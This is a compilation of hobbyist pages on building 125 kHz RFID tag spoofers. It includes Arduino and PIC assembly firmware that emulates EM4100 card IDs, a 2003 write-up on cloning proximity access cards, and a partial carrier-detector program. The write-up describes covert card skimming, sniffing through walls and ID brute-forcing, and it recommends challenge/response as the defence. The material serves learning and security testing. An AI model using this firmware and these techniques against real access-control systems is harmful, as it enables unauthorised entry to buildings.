You need to create a coil that‘s about 150 to about 162 uH (different sources say it should be different values).  To determine how many winds to do you can use an induction calculator like the one here www.crystalradio.net/cal/indcal2.shtml.  I used the green spool from the Radio Shack set of wires and wound it about 133 times around the toilet paper roll (I did this both by working with a calculator and some trial and error, I have no tuning equipment).  You probably want to leave a little extra wire in case you need to wind some more to get your antenna tuned right.

After you have your coil you can connect it to your circuit.  The schematic is pretty easy.  Just connect pin 9 on the Arudino to a 10 K Ohm resistor, then to the base of the transistor.  Next you can put your capacitor between the collector and emitter of the transistor.  The emitter also needs to be connected to ground.  Next connect the coil the the emitter and collector of the transistor.
 
You can either download the code below, or get it here: www.scribd.com/doc/30215336/RFID-Faker-Code

The serial number of a tag is sent over using a fairly simple protocol.

It starts by sending 9 one‘s

Then it sends 10 sets of 4 bits, then one parity bit (it‘s using even parity)
Then it sends "column" parity bits (even parity of the rows in the previous step)
Last it sends a 0 stop bit

So an example looks like this:

(start bits)
111111111

(10 rows of data - the card serial number)
(the first 4 bits are the data, the last is the even parity bit)

11110
10100
10001
11000
10010
11101
11110
00000
00011
01010

(then it sends the column parity bits, even parity of the rows above)

1101

(last a 0 stop bit)

0

See the pdf in the first link in the references section for more details on this

Image provided by Flickr user at www.flickr.com/photos/kurtisscaletta/2473469841/ 
and used under the creative commons license.
 
//Pin to connect to the circuit
//Setting the pin LOW will tune the coil
//meaning it will respond as a high signal to the reader
//Setting the pin to HIGH will detune coil
//meaning the reader will see it as a low signal
int coil_pin = 9;

void setup( )
{
  //Set pin as output
  pinMode( coil_pin, OUTPUT );
  
  //Start it as low
  digitalWrite( coil_pin, LOW );
}

//Does manchester encoding for signal and sets pins.
//Needs clock and signal to do encoding
void set_pin_manchester( int clock_half, int signal )
{
  //manchester encoding is xoring the clock with the signal
  int man_encoded = clock_half ^ signal;
  
  //if it‘s 1, set the pin LOW (this will tune the antenna and the reader sees this as a high signal)
  //if it‘s 0, set the pin to HIGH  (this will detune the antenna and the reader sees this as a low signal)
  if ( man_encoded == 1 )
  {
    digitalWrite( coil_pin, LOW );
  }
  else
  {
    digitalWrite( coil_pin, HIGH );
  }
}

void loop( )
{
  //this is the card data we‘re spoofing.  It‘s basically 10 hex F‘s
  int data_to_spoof[ 64 ] =
  { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1,
    1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1,
    1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0 };
  for ( int i = 0; i < 64; i++ )
  {
    set_pin_manchester( 0, data_to_spoof[ i ] );
    delayMicroseconds( 256 );
    
    set_pin_manchester( 1, data_to_spoof[ i ] );
    delayMicroseconds( 256 );
  }
} 

RFID Spoofer

Overview

The goal of this project is to learn about RF and RFID.

Thanks to sketchsk3tch for good information.

Being new to electronics development this site was very helpful.

In short we have limited knowledge of electronics and wanted to start learning.

We thought an RFID spoofer would be a fun project.

As we learned more moving forward we decided to turn this into a dev platform for transmitting RFID and not just spoofing.

Essentially we took sketchsk3tch‘s project and made a shield out of it for the Arduino pro mini making it portable.

Parts List 

Hardware

Antenna

  • We thought this was a good idea until we did more research. Live and learn.
  • 1 x 16”x3/4” PVC pipe
  • 2 x 3/4” PVC caps
  • 1 x roll of 22 gauge insulated magnet wire
  • 1 x male/male headphone cable (I know there is another name for this. I‘ll update it once I have it)
  • 2 x headphone jacks
  • OR —
  • Quick and dirty to test your circuit. Better idea than the above while waiting for your coil craft inductor. 
    Reference http://www.instructables.com/id/Stupid-Simple-Arduino-LF-RFID-Tag-Spoofer/
  • 1 x Toilet Paper Roll
  • 1 x roll of 22 gauge insulated magnet wire
  • OR —
  • 1 x 4312RV-905XGLB coil from http://www.coilcraft.com

PCB layout - If you want to make your own PCB. Check out our DIY PCB page.

Components

  • Arduino Pro Mini
  • SparkFun FTDI adapter to program the Pro Mini
  • VCC1 9v battery
  • S1 SPDT switch
  • R1 10 ohm resistor
  • R2 10K ohm resistor
  • C1 10uF electrolytic cap
  • C2 10nF film cap
  • C3 220pF ceramic cap
  • U1 LM7805C 5v regulator
  • Q1 NPN 2N3904 transistor
  • L1 CoilCraft 4312RV-905XGLB Induction Coil 9mH

Schematic 

技术分享

A Card Simulator

I designed a tag that could produce identical AM when I tested it against my reader.

This was pretty boring. I used a micro and alternately tri-stated or asserted (one low, one high)

two GPIOs connected to one terminal of the tuned coil, with the other antenna terminal grounded.

My tag produced perfect waveforms on my reader.

It did not, however, work with the Motorola readers—the door did not open.

技术分享

So then I tried a lot of things. Eventually I took a closer look at the output of the peak detector;

it was a 62.5 kHz sawtooth, not 125 kHz.

The card was transmitting PSK, attenuating every other peak, but my peak detector didn‘t drop fast enough to follow it.

The AM that I saw was a modulation artifact;

I expect (and it‘s intuitive) that it can be shown that those sorts of amplitude variations

can be obtained by bandpass-filtering a PSK signal.

技术分享

A bit time is 256 μs. The tag‘s id is periodic over 64 bit times, 16384 μs.

When there is no phase shift, the signal is a 125 kHz sinusoid slightly modulated by a 62.5 kHz sinusoid.

The modulation is greatly exaggerated in the figure.

技术分享

To indicate a bit transition, the tag inserts a phase shift of π.

There is always an even number of carrier cycles between phase shifts,

so that if the most recent phase shift was achieved by skipping a small-amplitude cycle

then the next phase shift will be achieved by skipping a large-amplitude cycle.

技术分享

Since a bit time is 256 μs, phase shifts are an integer multiple of 256 μs apart.

Thus, in the above picture, we could have t = 256, 512, 768, ... μs.

A code consists of 64 bit times.

There are no transitions for the last 29 bits for all but one of the cards that I have tested.

Possibly the one card is in a newer format, or possibly it‘s just weird.

There appears to be some structure within the bits—if I get some of the bits wrong then the reader doesn‘t even beep,

but if I get others wrong then the reader still beeps but the door doesn‘t open.

I haven‘t had any need to figure out which are which though.

My first tag sort of disintegrated (too many flywires) so I built a new combination reader/tag.

In tag mode I chose to ignore the reader‘s carrier:

I just blast my own modulated carrier at the reader.

This works perfectly well, and you‘d expect it to;

if we‘re not in phase with the reader‘s oscillator then we will be in a few hundred milliseconds.

(The beat frequency is ~1 Hz, for a variation of a few ppm, typical for a crystal).

A Toy With Blinking Lights

The hardware to pretend to be a tag is very simple. The hardware to read a tag is not much more complicated; I could do it with a micro, a quad opamp, and a dozen passives. This meant that I could build a combination card reader/simulator in a few square inches of board space. Add a couple of lithium batteries and some nice plastics and I would have a clever and mostly useless pocket-sized toy. Of course I couldn‘t resist building it.

技术分享

For a sense of scale, the PIC16F628 (largest IC) and the opamp are both SOICs. There aren‘t any unreasonably fine-pitch components on this board; the tightest are the SuperSOT FETs (bottom left), with 0.95 mm lead spacing.

The hardware is very similar to the larger reader/simulator described above. I decided not to attempt PSK demodulation; I just detect the modulation artifacts and use the hysteresis, so that I know that if the comparator output has changed state since I looked at it last then there has been a phase shift since then. This sacrifices a bit of sensitivity but my read range is small enough (by design, for reasonable battery life) that this doesn‘t bother me. This hardware could also be used for AM cards, if I ever came across one.

The PIC can kill power to the detector section with a couple of FET switches. This plus the PIC‘s sleep mode means that I can do on/off in software without ruining my battery life.

The circuit is again built on a milled PCB, with one signal layer and a ground plane.

The ground plane is split into analog (GND = 0V) and digital (V- = -3V) sections.

It is powered by a pair of CR2032 lithium coin cells. They determine the thickness of the device; the batteries, in a holder, are 0.217" thick.

技术分享

There are no connectors on the board because I couldn‘t find any low-profile surface mount connectors that I liked.

Instead there are test points to program the PIC and tune the coil;

I actually built a test/programming fixture (with pogo pins).

This is pretty easy with a CNC machine. P

ower and coil leads are soldered directly to the board.

The blue wires are mostly test points, for debugging only.

The 8 pin header connects to my PIC programmer.

All the plastics were routed from sheet on my milling machine, using an 1/8" carbide straight bit intended for use in wood.

Yes, the workpiece is held to the table by carpet tape; this is much cheaper than a vacuum chuck.

The top and bottom of the case are each 1/16" Lexan (polycarbonate); the core is milled from 6 mm Lexan sheet. The top has drilled holes for the actuators of the two tact switches on the PCB. I paid too much (more than a dollar each!) for the battery holders shown below because they make it very difficult to apply a reverse voltage to the circuit by mis-inserting the cell. The pink foam presses the board into contact with the lid so that the tact switch actuators project.

技术分享

Both the top and bottom screw into the core with #2 tapping screws. I put a lot of effort into finding a local source for a methylene chloride solvent cement (so that I could weld the bottom on instead of screwing it) but I gave up after many failures. I first tried machine screws but small-diameter machine screws tend to have too many threads per inch to work in plastics. Next time I‘d probably look for threaded inserts.

技术分享

I left the wires long so that I can remove the the board from the plastics without desoldering anything. This is necessary to put it on the programming jig, and it helps when I‘m trying to figure out whether I have a circuit-does-the-wrong-thing problem or a 125-kHz-pickup-on-everything problem.

技术分享

The user interface comprises four LEDs and the two tact switches. The software can currently read a card, store a single id, transmit that id over the air to a reader, blink out that id on the LEDs, and accept a new id on the tact switches. There is also a “sniff” mode, in which the detector is active but the coil is not powered; this allows me to read a card while a legitimate reader is powering it. (The read range of the cards is limited by the tag power requirements, not by reader sensitivity; it goes up substantially when another reader is powering the card.)

Most of the software is pretty straightforward. To transmit the id, I must apply a square wave with, on average, every other cycle missing. I do this entirely in software, flipping a GPIO every 4 μs. I managed to make this work on a 4 MHz device (4 cycles between edges); it‘s much easier on a 20 MHz device, though. The antenna is resonant around 125 kHz, so that it effectively bandpass filters the pulse train that I generate.

In the figure below, the blue trace is obtained by passing the red trace through a bandpass filter centred at twice the frequency of the pulse train:

技术分享

For the reader functionality I configure the PWM module to generate the unmodulated square wave so that I can be a bit sloppier with my timing.

I sync on the word by waiting for an edge after a long idle period (though this is of course unnecessary; I only need bit sync). Then I read the word into memory. Then, I read the word ten more times, comparing it against the recorded copy each time; if they all match then I decide that it‘s right, else I lose sync and try again. This works reasonably well, but if the card is held just barely outside the read range then I will eventually false-sync. This is bad, because there is no other verification. Legitimate readers can false-sync with no major repercussions, since they would just fail to open the door; the user would stand there waiting until the card was read correctly.

Security Implications

I can copy a proximity card at least as easily as I can take an impression of a key. This means that it‘s not a very good idea to reuse visitor cards without changing the id (and that it doesn‘t really matter whether you get the physical card back from the guy you just fired).

More insidiously, it‘s quite practical to read someone‘s card without removing it from their wallet. A bit of deliberate clumsiness, a reader up my sleeve, and I would have little trouble cloning anyone‘s card. I could also exploit the fact the distance at which the cards will be powered is less than the distance at which they can be read; if another reader is exciting the card then my reader can read that card from the other side of a wall!

This means that a sniffer concealed somewhere near a legitimate reader could intercept real transactions at a significant distance. This sort of attack is particularly good because the card repeats its id over and over as long as it is in the field, so that I could use signal processing techniques to combine multiple copies of the pattern to further improve my read range. This is easy—if I sample all 64 bits of the id then I don‘t have to get word-sync, and if I oversample then I don‘t even have to get bit-sync. Even if I capture the id with a few bit errors it is still useful; I could try the captured id, then every id with a Hamming distance of 1 from the captured id (one bit flipped), then 2, and so on. One or two bit errors would take seconds; three would take minutes.

If I were willing to spend money on a four (or even two) layer board then I could build a sniffer/reader much smaller than anything shown above. If I used black Lexan (or even acrylic) for the case then the device would look less like something that an image-conscious terrorist might carry. This would make it much easier to carry out the attacks outlined above.

All of these attacks can be stopped with a challenge/response scheme. I‘ve seen brochures for cards and readers that do this; I guess it‘s not just a marketing gimmick.

Hardware Notes

The coil driver consists of an N/P FET pair, with the FETs working as switches.

For my initial reader I connected the drains together, like in a CMOS inverter.

This drove the RLC circuit that was the coil, the tuning cap, and a current-limiting resistor.

This has two flaws.

First, it has a software self-destruct mode;

if the input floats between the positive and negative rails then both FETs will conduct, shorting V+ to V-, and the FETs will get very, very hot.

This caught me because the PIC tri-states all its GPIOs when it‘s being programmed in system.

There was a bit of a shoot-through problem too; the switching transients got in to everything. Smaller FETs would actually have been better, but I just put some resistance between the drains, because I needed some resistance to limit the current anyways.

My layout seems to be reasonably good. There‘s hundreds of millivolts of noise on most of the signals around the PIC, but noise on the detector signals is in the tens of millivolts. More bypassing might have cleaned things up further. Not placing the circuit inside the antenna might also have helped....

The detector is rather poor.

When reading (or sniffing) from a large distance, it would be nice to be able to turn down the hysteresis to get some chance at a read. This is not currently possible. It‘s probably not worth messing with the envelope detector though; it would be better to build a proper PSK detector (by correlating and then integrating the peak detector output in hardware, or with a sharp notch filter to reject the 125 kHz component, allowing me to work only with the sidebands.).

The coin cells probably aren‘t a very good choice for this application considering the high peak currents—Panasonic‘s datasheet doesn‘t even mention what happens if you try to draw more than a milliamp. I don‘t know what would be better, though; thin batteries are hard to find.

The opamps that I use (TLC2274s) are not low-current. I knew this when I chose them but I assumed that they would only need to be powered when the coil was energized. In sniff mode this is not true; the coil is not driven, and I could even put the PIC to sleep and wake on an edge from the detector. Next time, I guess.

I was careless when I designed the power switching stuff; there were a couple of leakage paths that added almost 60 microamps of off current. I was able to fix this by depopulating a couple of components and faking out the functionality that they used to provide in software. Off current is about 4 μA. The CR2032s can deliver about 200 mAh, for a standby life comparable to the shelf life of the cells.

The presence of metallic objects inside the antenna probably does weird things. Certainly it detunes the coil a bit, and even after I tweaked it back to resonance the voltage on the coil was smaller (indicating that some of my battery life is going to eddy currents in the mounting screws).

I had a few interesting problems relating to 125 kHz pickup from the read coil. The wires from the board to the coil are quite vicious; seriously bad things happen if they rest on the analog traces.

I had a lot of trouble machining the polycarbonate until I got my feeds and speeds right. Too slow of a feed for your speed is very bad; the plastic melts, the cutter loads, friction increases and chip ejection goes to nothing, and you get thermal runaway. Once I figured that out everything went quite easily. Surface finish with an 0.015" finish pass was acceptable as machined almost everywhere. Where it wasn‘t I used the non-serrated edge of a hacksaw blade to clean it up.

Acrylic makes a nicer case than polycarbonate—it‘s more rigid and less prone to scratching. An acrylic case probably wouldn‘t survive a two foot drop onto concrete, though.

Future Plans

The toy described above is nice, but it could be better. I believe that I could sample the peak detector output directly (after AC-coupling it down) and do the demodulation in software. I have a very clever idea that uses the PIC‘s comparators and voltage reference module to do PSK detection, possibly one so clever that it works only in simulation. This would allow me to lose the opamp entirely. I could drive the coil from a few GPIOs tied together, at the cost of read range. This would get the design down to the micro plus some passives.

I‘d also like to get rid of the split supply and run from a single 3 V rail. I think I‘d have to do some sort of trick with multiple coils (like a transformer) to get a reasonable input impedance without an unreasonably high Q.

Alternatively, I could build a long range sniffer (better detector, one foot diameter read coil, enough current that it‘s just on the edge of melting, a motorcycle battery to power the thing...). This wouldn‘t be nearly as cool as a smaller version of my toy but it would be better for convincing people that the cards are insecure.

October 2003, Waterloo

the simplest possible rfid emulator

When looking for a low frequency RFID emulator for security testing purposes, you can find several designs out there.

However, their complexity can make you think twice before building one.

Is necessary that complexity? In some cases you don’t need too much functionality.

Just a simple RFID emulator without fancy capabilities.

How simple can be an emulator? Let’s see.

Look this!

技术分享

技术分享

HOW IT WORKS?

In order to understand how this simple design can works, we have to consider the internal connections of the microcontroller IO ports.

Consulting the datasheet, we can observe that every IO pin has an internal parasite capacitor (around 5pF) and a pair of clamping diodes, as this diagram shows:

技术分享

Considering internal capacitance and diodes, the result schematic of this simple emulator is something like:

技术分享

 

The parasite capacitor in the IO pins and the external coil form a LC resonant circuit and act as an antenna. This antenna will pick up the carrier generated by the RFID reader.

The recovered carrier is rectified thanks to the bridge formed with the clamping diodes, feeding back the result signal to the power supply of the microcontroller.

Note that the coil (antenna) is connected to the GP5 / CLKIN / OSC1 port. This is important, but we will back to it later.

The other terminal of the coil is connected to the GP4 port. In order to transmit data to the RFID reader, we have to modulate the low frequency carrier by changing the coupling between the reader and tag antennas. We can achieve this by switching the GP4 as input (High-Impedance) or output (connected to GND).

 

THE FIRMWARE

Some knowledge on PIC assembler is requiered to understand perfectly this section.

Basically, The code for emulating a read-only tag is not more than a bunch of “well-timed” instructions that modify the GP4 state.

This microcontroller (like most of the modern PIC microcontrollers) has an internal oscillator. However, instead of using the internal oscillator, the firmware uses the RFID carrier, present in the GP4 pin, as the system clock.

This way, the firmware is simpler because there is no need to synchronize the data modulation (switching the GP4 pin to GND or High-Impedance) with the RFID carrier. The code execution is already synchronized with the carrier.

The oscillator block has a “relatively” high power consumption, so another reason for not using the internal oscillator is to save energy. And less power means longer reading distance.

As firmware example, you can download this ASM source. It emulates a EM4100 RFID tag, a very common tag.

The EM4100 [datasheet] is a read-only tag with 64 bits of memory and is usually found configured to work at 64 clocks per bit and with Manchester encoding.

The Manchester encoding implies that a ‘1’ encoded bit is transmitted “half-bit” (32 clocks) as ‘0’ and “half-bit” (32 clocks) as a ‘1’.

In this configuration, the ASM code for transmitting a ‘1’ encoded bit is:

BSF     TRISIO, GP4        ; GP4 as input (High-Impedance). Transmit a ‘0‘.
NOP
NOP
NOP
NOP
NOP
NOP
NOP 
BCF TRISIO, GP4 ; GP4 as output (GND). Transmit a ‘1‘
NOP
NOP
NOP
NOP
NOP
NOP
NOP

Note that between the execution of the BSF and the BCF instructions there are exactly 8 instruction cycles. Considering that the PIC architecture uses 4 system clocks for executing one instruction, it means that pass exactly 32 carrier clocks between the two instructions.

A ‘0’ encoded bit is transmitted in a similar way.

The schematic with the cited improvements:

A 150 uH coil and a 10 nF capacitor are good values to start with.

技术分享

NOTES

The microcontroller used for this project is the PIC 12F683. However, any other PIC 12F (or even 16F) microcontroller is suitable for the emulator. The firmware should compile without any change.

Using a manufactured coil instead of homemade one can be tricky. Prepare yourself to do some try-outs.

Choose the biggest inductance possible because it will have a larger area. Be aware that some inductors can be covered with a conductive foil to isolate the coil from the EM noise.

The idea of creating a RFID emulator using just the microcontroller and a coil is not original mine.

 This post from the Scanwidget’s Journal gave me the idea.

If you are a AVR fan instead of a PIC one, check that post.

  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 ;;                                                                          ;;
;;                                                                            ;;
;                         OPEN RFID TAG - EM4100 TAG                           ;
;;                                                                            ;;
 ;;                                                                          ;;
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 ;;                                                                          ;;
;;                                                                            ;;
;                                                                              ;
;    Author:    Ramiro Pareja                                                  ;
;    E mail:    ramiropareja -at- t4f -dot- org                                ;
;    Web:       www.t4f.org                                                    ;
;    Date:      30/05/2009                                                     ;
;                                                                              ;
;    Description: Simple EM4100 RFID emulator                                  ;
;                 More info -> http://www.t4f.org                              ;
;                                                                              ;
;    License:   Software released under the GPL 3 license;                     ;
;               Commercial license avaliable under request;                    ;
;               See www.t4f.org/license                                        ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


#include "p12f683.inc"

    __CONFIG       _WDT_OFF & _BOD_OFF & _PWRTE_ON & _EC_OSC



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    MACRO:     TX                                                             ;
;    Desc.:     Transmits data to the reader                                   ;
;    Params.:   DATA -> data to transmit                                       ;
;               NUM_BITS -> number of bits to transmit                         ;
;               PARITY_CHECK -> calculates the parity bit                      ;
;                                                                              ;
;    Notes:                                                                    ; 
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

TX    MACRO    DATA, NUM_BITS, PARITY_CHECK

    LOCAL i = NUM_BITS
    LOCAL tmp = DATA
    LOCAL parity = 0
    LOCAL mask = 0x01 << (NUM_BITS-1)

    WHILE i > 0

        IF (tmp & mask)
            CALL    _TX_manchester_one
            parity = !parity
        ELSE
            CALL    _TX_manchester_zero
        ENDIF
    
        tmp = tmp << 1
    
        i -=  1

    ENDW

    IF (PARITY_CHECK == 1)
        IF (parity)
            CALL _TX_manchester_one
        ELSE
            CALL _TX_manchester_zero
        ENDIF    
    ENDIF

    ENDM


    ORG 0x00


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _configuration                                                 ;
;    Desc.:     Configures the microcontroller                                 ;
;                                                                              ;
;    Notes:     If you want to port the firmware to another 12F or 16F micro,  ; 
;               you have to change only this function. Be sure that you        ;
;               configure the IO ports as digital inputs.                      ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


_configuration

    
    BSF    STATUS,RP0         ; Bank 1
    
    CLRF    ANSEL             ; GPIOs as digital ports

    BCF    STATUS,RP0        ; Bank 0
    
    MOVLW    07h             ; Turning off the analog comparators
    MOVWF    CMCON0
    
    CLRF    ADCON0                  ; turn off A/D convertor



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _main                                                          ;
;    Desc.:     Main program loopm. Transmits the data.                        ;
;                                                                              ;
;    Notes:     The firmware emulates an EM4100 tag with the next memory map   ;
;                                                                              ;
;               111111111             <- Header                      ;
;               00011 00011                     <- Manufacturer ID             ;
;               00011 00011 00011 00011         <- Serial number               ;
;               00011 00011 00011 00011                                        ;
;               11110                           <- parity column and stop bit  ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


_main

    
    

    BSF    STATUS, RP0        ; Bank 1


    ; Transmits the header (‘111111111‘)

    TX     0x1FF, 9, 0


    ; Transmits the manufacturer ID (with parity bit)
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    
    ; Transmits the serial number (with parity bit)
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1
    TX    0x01, 4, 1

    ; Transmit the parity column (previosly calculated) and the stop bit (‘0‘)
    TX    b‘11110‘, 5, 0


    bcf    STATUS, RP0        ; Bank 0

    goto     _main            ; Repeat the transmition



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _TX_manchester_one                                             ;
;    Desc.:     Transmit a ‘1‘                                                 ;
;                                                                              ;
;    Notes:     Manchester encoding at 64 clocks per bit is used.              ;
;               To change the data rate, just add or remove NOP instructions   ;
;               Using a Biphase encoding would require more complex changes.   ;
;               However, you can transmit a biphase encoded memory map if you  ;
;               encode the raw data transmited as Manchester.                  ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_TX_manchester_one


    BSF     TRISIO, GP4        ; GP4 to High impedance. TX a zero
    NOP                ; Waiting for 32 clocks (8 instructions)
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP

    BCF     TRISIO, GP4        ; GP4 to GND. TX a one
    NOP                ; Waiting for 32 clocks (8 instructions)
    NOP
    NOP
    RETURN                ; The RETURN and the next CALL 
                    ; instructions count as 16 clocks (4*4)

    

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _TX_manchester_zero                                            ;
;    Desc.:     Transmit a ‘0‘                                                 ;
;                                                                              ;
;    Notes:     Manchester encoding at 64 clocks per bit is used.              ;
;               To change the data rate, just add or remove NOP instructions   ;
;               Using a Biphase encoding would require more complex changes.   ;
;               However, you can transmit a biphase encoded memory map if you  ;
;               encode the raw data transmited as Manchester.                  ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_TX_manchester_zero


    BCF     TRISIO, GP4        ; GP4 to GND. TX a one
    NOP                ; Waiting for 32 clocks (8 instructions)
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP


    BSF     TRISIO, GP4        ; GP4 to High impedance. TX a zero
    NOP                ; Waiting for 32 clocks (8 instructions)
    NOP
    NOP
    RETURN                ; The RETURN and the next CALL 
                    ; instructions count as 16 clocks (4*4)
    


    END 
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 ;;                                                                          ;;
;;                                                                            ;;
;                      OPEN RFID TAG - RFID DETECTOR                           ;
;;                                                                            ;;
 ;;                                                                          ;;
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 ;;                                                                          ;;
;;                                                                            ;;
;                                                                              ;
;    Author:    Ramiro Pareja                                                  ;
;    E mail:    ramiropareja -at- t4f -dot- org                                ;
;    Web:       www.t4f.org                                                    ;
;    Date:      15/11/2009                                                     ;
;    Version:   0.4                                                            ;
;                                                                              ;
;    Description: Detects the frequency of the RFID carrier                    ;
;                 The faster the LEDs blink, the nearer the carrier is from    ;
;                 the reference frequency (LED1: 125KHz, LED2: 135KHz)         ;
;                 More info -> http://www.t4f.org                              ;
;                                                                              ;
;    License:   Software released under the GPL 3 license;                     ;
;               Commercial license avaliable under request;                    ;
;               See www.t4f.org/license                                        ;
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



    #include "p12f683.inc"    
    #include "..\Common\io.inc"
    #include "..\Common\misc.inc"

    __CONFIG       _CP_ON & _CPD_OFF & _WDT_OFF & _BOD_OFF & _PWRTE_ON & _INTRC_OSC_NOCLKOUT & _MCLRE_ON & _IESO_OFF & _FCMEN_OFF

    EXTERN    _initIO
    EXTERN    _pauseX1mS



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                   DEFINITIONS                                ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;





;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                VARIABLES                                   ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    UDATA

    
                                    ; Context vars.
W_TEMP            RES     1
STATUS_TEMP        RES     1


PERIOD            RES        1

BLINK125        RES        1
BLINK135        RES        1
BLINK_COUNTER    RES        1    


TRASH    UDATA    0xA0

TRASH            RES        .32            ; WARNING! We reserve all the GPRs in the BANK1
                                    ; to avoid the linker using them. 
                                    ; This way, we force the linker to alloc all
                                    ; the vars in the BANK0.
                                    ;
                                    ; The "good" way to do this is doing a linker 
                                    ; script.


    

    

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                  CODE                                      ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


RST_VECTOR        CODE    0x0000

    GOTO      _start


INT_VECTOR        CODE    0X0004

    ; Save the actual context
    MOVWF     W_TEMP            
    SWAPF     STATUS,W 
    BCF     STATUS,RP0
    MOVWF     STATUS_TEMP

    ; Check the TMR1 interruption
    BTFSC    PIR1, TMR1IF
    CALL    _ISRTimer1

    ; Restore the context
    SWAPF     STATUS_TEMP,W
    MOVWF     STATUS
    SWAPF     W_TEMP,F
    SWAPF     W_TEMP,W

    RETFIE
    


_start


    CALL    _initIO                    ; Init IO
    CALL    _initTimer1
    CALL    _initTimer0


    CLRF    PERIOD
    MOVLW    .32
    MOVWF    BLINK_COUNTER
        

_main

    MOVFW    PERIOD                    ; Wait until PERIOD != 0 (TMR1 INT)
    BTFSC    STATUS, Z
    GOTO    $-2

_blink

    ; BLINK125 = ABS(Period-200) & 0x1F
    MOVLW    .200                    ; W = Period - 200                
    SUBWF    PERIOD, W
    
    BTFSC    STATUS, C                ; Period - 200 <0?
    GOTO    $+3
    MOVFW    PERIOD                    ; W = 200 - PERIOD
    SUBLW    .200                

    ANDLW    0x1F                    
    MOVWF    BLINK125


    ; BLINK135 = ABS(Period-185) & 0x1F
    MOVLW    .185                    ; W = Period - 185
    SUBWF    PERIOD, W

    BTFSC    STATUS, C                ; Period - 185 <0?
    GOTO    $+3
    MOVFW    PERIOD                    ; W = 185 - PERIOD
    SUBLW    .185            

    ANDLW    0x1F                    
    MOVWF    BLINK135
    
    MOVFW    BLINK125                ; W = BLINK_COUNTER - BLINK125
    SUBWF    BLINK_COUNTER,W 
    
